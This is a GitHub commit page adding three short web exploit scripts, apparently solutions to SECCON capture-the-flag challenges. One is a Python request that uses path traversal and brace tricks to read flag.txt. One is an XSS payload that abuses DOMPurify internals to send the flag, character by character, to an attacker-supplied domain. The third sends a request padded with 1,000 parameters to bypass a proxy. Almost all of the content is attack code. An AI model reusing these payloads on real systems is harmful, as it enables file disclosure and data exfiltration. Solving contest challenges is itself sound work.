Commit 0653784

committed

Add web scripts

1 parent 188ff87 commit 0653784Copy full SHA for 0653784

File tree

+19

-0

lines changed

+19

-0

lines changed

Lines changed: 10 additions & 0 deletions

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1,10 @@`
	`1`	`+lmao = """{!</h1>`
	`2`	`+</body>`
	`3`	`+</html>`
	`4`	`+--_curl_--file:///app/public/../../flag.txt`
	`5`	`+SECCON}"""`
	`6`	`+requests.get('http://easylfi.seccon.games:3000/{.}./{.}./{app/public/hello.html,flag.txt}', params={`
	`7`	`+ "{": "}{",`
	`8`	`+ "{name}": "{",`
	`9`	`+ lmao: "pepega"`
	`10`	`+})`

Lines changed: 6 additions & 0 deletions

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1,6 @@`
	`1`	`+It's possible to get each character by:`
	`2`	+```
	`3`	`+http://piyosay.seccon.games:3000/result?emoji=emojis%2FownerDocument%2FdefaultView%2FDOMPurify%2Fremoved%2F0%2Felement%2FtextContent%2F{IDX}&message=%3Cimg%20src=https://{YOUR_DOMAIN}?b={{emoji}}%3C/img%3E%3Cd%60iv%3E%3Cdiv%3E`
	`4`	+```
	`5`	`+`
	`6`	+Change `{IDX}` and `{YOUR_DOMAIN}` to get the `{IDX}`-th character of the flag.

Lines changed: 3 additions & 0 deletions

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1,3 @@`
	`1`	`+import requests`
	`2`	`+URL = "http://skipinx.seccon.games:8080/?proxy=lol&" + "&".join(["a=b"]*1000)`
	`3`	`+print(requests.get(URL).content)`

Comments

(0)